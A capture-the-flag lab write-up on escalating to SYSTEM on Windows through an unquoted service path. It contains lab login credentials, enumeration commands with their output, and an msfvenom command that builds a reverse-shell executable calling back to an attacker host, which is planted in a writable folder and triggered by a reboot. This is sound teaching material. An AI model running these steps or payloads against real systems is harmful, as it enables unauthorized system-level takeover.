Room about exploiting Unquoted Path vulnerability.
We were provided with the username and the password to login:
1
sage: gr33ntHEphgK2&V
Using xfreerdp, we can get RDP session on the box.
1
xfreerdp /u:sage /p:<pass> /v:<target_ip>
Basic Enumeration
First thing first, we’ll look at all the users on the box.
We only have two accounts, Administrator and sage. Next, we’ll look at the permission our user have:
Our user have shutdown rights. Enumerating more about our user
Looking for some non-default files on the box, we found:
Both folder name contained empty spaces, this remind of Unqouted Service path. We can enumerate using either powerup or manully.
Manual
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\Sage>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
Developmenet Service Development Service C:\Program Files\Development Files\Devservice Files\Service.exe Auto
C:\Users\Sage>sc qc "Development Service"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Development Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Development Files\Devservice Files\Service.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Developmenet Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Using Powerup.ps1
1
2
3
4
5
6
7
8
9
10
PS C:\Users\Sage\Documents> get-unquotedservice
ServiceName : Development Service
Path : C:\Program Files\Development Files\Devservice Files\Service.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'Development Service' -Path <HijackPath>
CanRestart : False
Name : Development Service
From both methods, we found the BinaryPath was not in qoutes. To exploit this vulnerability, next thing we need is a writable directory. To enumerate all the directories in path to find which one has write access,we can use icacls.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Program Files>icacls "Development Files"
Development Files BUILTIN\Users:(W)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
Exploitation
Create a malicious binary using msfvenom or any other tool.
1
msfvenom -p windows/shell_reverse_tcp lhost=IP lport=9991 -f exe > s.exe
Transger the binary to target machine and place it in the folder to which we have write access and rename our malicious exe, according to path.
1
2
3
4
5
6
7
8
9
10
PS C:\Users\Sage\Documents> dir 'C:\Program Files\Development Files\'
Directory: C:\Program Files\Development Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/7/2022 3:03 AM Devservice Files
-a---- 8/8/2022 11:17 AM 73802 Devservice.exe
Here, we can try to restart the service using net start <service_name> but we dont have the privs to do so. As service is an autorun service, we can restart the system and setup a listener on our attacker box to catch the shell
1
2
3
C:\Windows\system32>whoami
whoami
nt authority\system
References
- https://vk9-sec.com/privilege-escalation-unquoted-service-path-windows/
- https://www.ired.team/offensive-security/privilege-escalation/unquoted-service-paths